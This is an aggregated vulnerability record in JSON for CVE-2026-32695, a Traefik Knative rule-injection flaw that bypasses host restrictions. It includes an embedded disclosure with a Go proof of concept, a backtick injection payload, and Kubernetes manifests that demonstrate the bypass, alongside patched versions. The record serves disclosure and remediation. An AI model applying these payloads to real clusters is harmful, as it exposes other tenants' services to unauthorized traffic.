{"id":"GHSA-67jx-r9pv-98rj","revision":null,"records":[{"revision":"5ba583b8cd93435fa77871d021535a40","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-32695","aliases":[],"title":"Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Versions 3.6.11 and 3.7.0-ea.2 patch the issue.","state":0,"publishedAt":"2026-03-27T13:47:03.645+00:00","modifiedAt":"2026-07-15T01:07:47.954+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.6.11\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.7.0-ea.1, < 3.7.0-ea.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj","https://github.com/traefik/traefik/releases/tag/v3.6.11","https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-32695","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-32695","identifiers":["CVE-2026-32695"]},"retained":false,"historicalAffected":[]},{"revision":"1f0b4a1ce13d4628b8609abaa92aff76","observedAt":"2026-11-13T21:11:42.277+00:00","statement":{"source":"euvd","id":"EUVD-2026-16606","aliases":["CVE-2026-32695"],"title":"Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. I…","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Versions 3.6.11 and 3.7.0-ea.2 patch the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","score":6.3,"severity":null}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj","https://github.com/traefik/traefik/releases/tag/v3.6.11","https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16606","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 27, 2026, 1:47:03 PM","dateUpdated":"Jul 15, 2026, 1:07:47 AM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:10444-1","title":"traefik-3.6.12-1.1 on GA media","vulnerabilityIds":["CVE-2026-32305","CVE-2026-32595","CVE-2026-32695"]},{"id":"RHSA-2026:10175","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.27.1 Release.","vulnerabilityIds":["CVE-2025-61728","CVE-2025-62718","CVE-2026-2332","CVE-2026-4800","CVE-2026-4926","CVE-2026-22731","CVE-2026-25679","CVE-2026-26999","CVE-2026-27137","CVE-2026-27606","CVE-2026-29054","CVE-2026-32305","CVE-2026-32695","CVE-2026-33186","CVE-2026-33433","CVE-2026-33805","CVE-2026-33870","CVE-2026-33871","CVE-2026-33937","CVE-2026-33938","CVE-2026-33939","CVE-2026-33940","CVE-2026-33941","CVE-2026-34986","CVE-2026-40175"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16606","identifiers":["EUVD-2026-16606","CVE-2026-32695"]},"retained":false,"historicalAffected":[]},{"revision":"e3518f12582b41f6b0a2f04aef4631a5","observedAt":"2026-10-25T07:19:26.892+00:00","statement":{"source":"nvd","id":"CVE-2026-32695","aliases":[],"title":"Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. I…","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Versions 3.6.11 and 3.7.0-ea.2 patch the issue.","state":0,"publishedAt":"2026-03-27T14:16:08.537+00:00","modifiedAt":"2026-07-15T02:20:00.43+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.3,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/releases/tag/v3.6.11","https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2","https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj","https://access.redhat.com/errata/RHSA-2026:10175","https://access.redhat.com/security/cve/CVE-2026-32695","https://bugzilla.redhat.com/show_bug.cgi?id=2452235","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32695.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32695","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-74","CWE-917"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*"],"sourceDates":{"published":"2026-03-27T14:16:08.537","lastModified":"2026-07-15T02:20:00.430"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-32695","identifiers":["CVE-2026-32695"]},"retained":false,"historicalAffected":[]},{"revision":"16e7dc0ce32b443390fa59dac3f1cfb6","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-67jx-r9pv-98rj","aliases":["CVE-2026-32695","GO-2026-4880"],"title":"Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass","description":"## Summary\n\nThere is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.\n\nUser-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nTraefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.\n\nTested on Traefik `v3.6.10`; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.\n\n### Details\nThe issue is caused by unsafe rule-string construction using `fmt.Sprintf` with backtick-delimited literals.\n\nIncriminated code patterns:\n\n- `pkg/provider/kubernetes/knative/kubernetes.go`\n  - `fmt.Sprintf(\"Host(`%v`)\", host)`\n  - `fmt.Sprintf(\"Header(`%s`,`%s`)\", key, headers[key].Exact)`\n  - `fmt.Sprintf(\"PathPrefix(`%s`)\", path)`\n\n- `pkg/provider/kubernetes/ingress/kubernetes.go`\n  - `fmt.Sprintf(\"Host(`%s`)\", host)`\n  - `fmt.Sprintf(\"(Path(`%[1]s`) || PathPrefix(`%[1]s/`))\", path)`\n\n- `pkg/provider/kubernetes/ingress-nginx/kubernetes.go` (hardening candidate; not the primary confirmed vector in this report)\n  - `fmt.Sprintf(\"Header(`%s`, `%s`)\", c.Header, c.HeaderValue)`\n  - related host/path/header concatenations with backticks\n\nBecause inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:\n\n- `x`) || Host(`attacker.com`\n\nWhen used as a header value in Knative rule construction, the resulting rule contains:\n\n- `Header(`X-Poc`,`x`) || Host(`attacker.com`)`\n\nThis alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (`hosts[]` vs `headers[].exact`) this can become a direct routing bypass.\n\nImportant scope note:\n\n- Gateway API code path (`pkg/provider/kubernetes/gateway/httproute.go`) already uses safer `%q` formatting for header/query rules and is not affected by this exact pattern.\n- For standard Kubernetes Ingress, `spec.rules.host` is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked).\n- For Knative Ingress, `rules[].hosts[]` and `headers[].exact` are typed as `string` in CRD schema with no pattern constraint.\n- In this validation environment, `rules[].hosts[]` was accepted and produced a practical host bypass. `headers[].exact` was also accepted and produced rule-syntax injection in generated routers.\n- Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here.\n- Exploitability depends on admission/validation policy and who can create these resources.\n\n### PoC\n\n1. Local deterministic PoC (no cluster required):\n\n- Run:\n  - Save the inline PoC below as `poc_build_rule.go`\n  - Run `go run poc_build_rule.go`\n- Observe output:\n  - Legitimate rule: `(Host(`tenant.example.com`)) && (Header(`X-API-Key`,`secret123`)) && PathPrefix(`/`)`\n  - Malicious rule: `(Host(`tenant.example.com`)) && (Header(`X-API-Key`,`x`) || Host(`attacker.com`)) && PathPrefix(`/`)`\n- This proves syntax injection in current string-construction logic.\n\nInline PoC code (self-contained):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n)\n\nfunc buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {\n\tvar operands []string\n\n\tif len(hosts) > 0 {\n\t\tvar hostRules []string\n\t\tfor _, host := range hosts {\n\t\t\thostRules = append(hostRules, fmt.Sprintf(\"Host(`%v`)\", host))\n\t\t}\n\t\toperands = append(operands, fmt.Sprintf(\"(%s)\", strings.Join(hostRules, \" || \")))\n\t}\n\n\tif len(headers) > 0 {\n\t\theaderKeys := make([]string, 0, len(headers))\n\t\tfor k := range headers {\n\t\t\theaderKeys = append(headerKeys, k)\n\t\t}\n\t\tsort.Strings(headerKeys)\n\n\t\tvar headerRules []string\n\t\tfor _, key := range headerKeys {\n\t\t\theaderRules = append(headerRules, fmt.Sprintf(\"Header(`%s`,`%s`)\", key, headers[key].Exact))\n\t\t}\n\t\toperands = append(operands, fmt.Sprintf(\"(%s)\", strings.Join(headerRules, \" && \")))\n\t}\n\n\tif len(path) > 0 {\n\t\toperands = append(operands, fmt.Sprintf(\"PathPrefix(`%s`)\", path))\n\t}\n\n\treturn strings.Join(operands, \" && \")\n}\n\nfunc main() {\n\tlegitHeaders := map[string]struct{ Exact string }{\n\t\t\"X-API-Key\": {Exact: \"secret123\"},\n\t}\n\tfmt.Println(buildRuleKnative([]string{\"tenant.example.com\"}, legitHeaders, \"/\"))\n\n\tmaliciousHeaders := map[string]struct{ Exact string }{\n\t\t\"X-API-Key\": {Exact: \"x`) || Host(`attacker.com\"},\n\t}\n\tfmt.Println(buildRuleKnative([]string{\"tenant.example.com\"}, maliciousHeaders, \"/\"))\n\n\t// Safe variant example (Gateway-style):\n\tfmt.Println(fmt.Sprintf(\"Header(%q,%q)\", \"X-API-Key\", \"x`) || Host(`attacker.com\"))\n}\n```\n\n2. Cluster PoC (Knative host injection, primary / practical bypass):\n\n- Preconditions:\n  - Kubernetes test cluster with Knative Serving.\n  - Traefik configured with Knative provider.\n- Apply manifest:\n  - `kubectl apply -f - <<'YAML'`\n```yaml\napiVersion: networking.internal.knative.dev/v1alpha1\nkind: Ingress\nmetadata:\n  name: poc-host-injection\n  namespace: default\n  annotations:\n    # This exact key worked in live validation:\n    networking.knative.dev/ingress.class: \"traefik.ingress.networking.knative.dev\"\nspec:\n  rules:\n    - hosts:\n        - 'tenant.example.com`) || Host(`attacker.com'\n      visibility: External\n      http:\n        paths:\n          - path: \"/\"\n            splits:\n              - percent: 100\n                serviceName: dummy\n                serviceNamespace: default\n                servicePort: 80\nYAML\n```\n  - (If API version mismatch, adjust between `networking.internal.knative.dev/v1alpha1` and `networking.knative.dev/v1alpha1`.)\n- Verify:\n  - Check Traefik router rule contains: `(Host(`tenant.example.com`) || Host(`attacker.com`)) && PathPrefix(`/`)`.\n  - Request with `Host: attacker.com` returns backend 200.\n  - This demonstrates host restriction bypass in practice.\n\n3. Cluster PoC (Knative header injection, confirms rule-syntax injection):\n\n- Apply:\n  - `kubectl apply -f - <<'YAML'`\n```yaml\napiVersion: networking.internal.knative.dev/v1alpha1\nkind: Ingress\nmetadata:\n  name: poc-rule-injection\n  namespace: default\n  annotations:\n    networking.knative.dev/ingress.class: \"traefik.ingress.networking.knative.dev\"\nspec:\n  rules:\n    - hosts:\n        - \"tenant.example.com\"\n      visibility: External\n      http:\n        paths:\n          - path: \"/\"\n            headers:\n              X-Poc:\n                exact: 'x`) || Host(`attacker.com'\n            splits:\n              - percent: 100\n                serviceName: dummy\n                serviceNamespace: default\n                servicePort: 80\nYAML\n```\n- Verify:\n  - Inspect generated Traefik dynamic router rule (API/dashboard/logs).\n  - Confirm injected fragment `|| Host(`attacker.com`)` is present.\n  - Send request with `Host: attacker.com` and no expected tenant header (expected: 404 for this payload shape, because leading `Host(tenant)` still applies).\n  - Send request with `Host: tenant.example.com` and `X-Poc: x` (expected: 200 from backend).\n\n4. Optional Ingress PoC (scope check):\n\n- Apply:\n  - `kubectl apply -f - <<'YAML'`\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: poc-ingress-host-injection\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: traefik\nspec:\n  rules:\n    - host: 'tenant.example.com`) || Host(`attacker.com'\n      http:\n        paths:\n          - path: /\n            pathType: Prefix\n            backend:\n              service:\n                name: dummy\n                port:\n                  number: 80\nYAML\n```\n- Expected in most clusters: API server rejects this payload because Ingress `host` must satisfy DNS-1123.\n- Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.\n\nValidation executed in this report:\n\n- Local deterministic PoC executed with `go run` and output matched expected injected rule.\n- Live cluster test executed on local `kind` cluster (`kind-traefik-poc`) with Traefik `v3.6.10` and Knative Serving CRDs.\n- Annotation key confirmed in this environment: `networking.knative.dev/ingress.class` (dot). The hyphen variant was not used by the successful processing path.\n- Traefik API/logs confirmed generated routers included injected expressions.\n- Live HTTP request with `Host: attacker.com` reached backend (`200`) for Knative host-injection payload.\n\n### Impact\n- **Vulnerability type:** Rule injection / authorization bypass at routing layer.\n- **Primary impact:** Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.\n- **Who is impacted:** Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.\n- **Security consequences:** Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.\n\n</details>","state":0,"publishedAt":"2026-03-27T17:49:52+00:00","modifiedAt":"2026-09-10T03:50:59.8292563+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.11"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0-ea.1"},{"kind":"fixed","version":"3.7.0-ea.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"2.11.42"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj","https://nvd.nist.gov/vuln/detail/CVE-2026-32695","https://github.com/traefik/traefik/commit/11d251415a6fd935025df5a9dda898e17e3097b2","https://github.com/traefik/traefik","https://github.com/traefik/traefik/releases/tag/v3.6.11","https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"],"sourceUrl":"https://github.com/advisories/GHSA-67jx-r9pv-98rj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-67jx-r9pv-98rj","identifiers":["GHSA-67jx-r9pv-98rj","CVE-2026-32695","GO-2026-4880"]},"retained":false,"historicalAffected":[]},{"revision":"b97421091f15497fa299823193cb99a9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4880","aliases":["CVE-2026-32695","GHSA-67jx-r9pv-98rj"],"title":"Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass in github.com/traefik/traefik","description":"Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass in github.com/traefik/traefik","state":0,"publishedAt":"2026-04-02T18:42:30+00:00","modifiedAt":"2026-04-22T16:44:17.7783808+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.11"},{"kind":"introduced","version":"3.7.0-ea.1"},{"kind":"fixed","version":"3.7.0-ea.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj","https://nvd.nist.gov/vuln/detail/CVE-2026-32695","https://github.com/traefik/traefik/commit/11d251415a6fd935025df5a9dda898e17e3097b2","https://github.com/traefik/traefik/releases/tag/v3.6.11","https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4880","license":"OSV · upstream source license applies","key":"osv:GO-2026-4880","identifiers":["GO-2026-4880","CVE-2026-32695","GHSA-67jx-r9pv-98rj"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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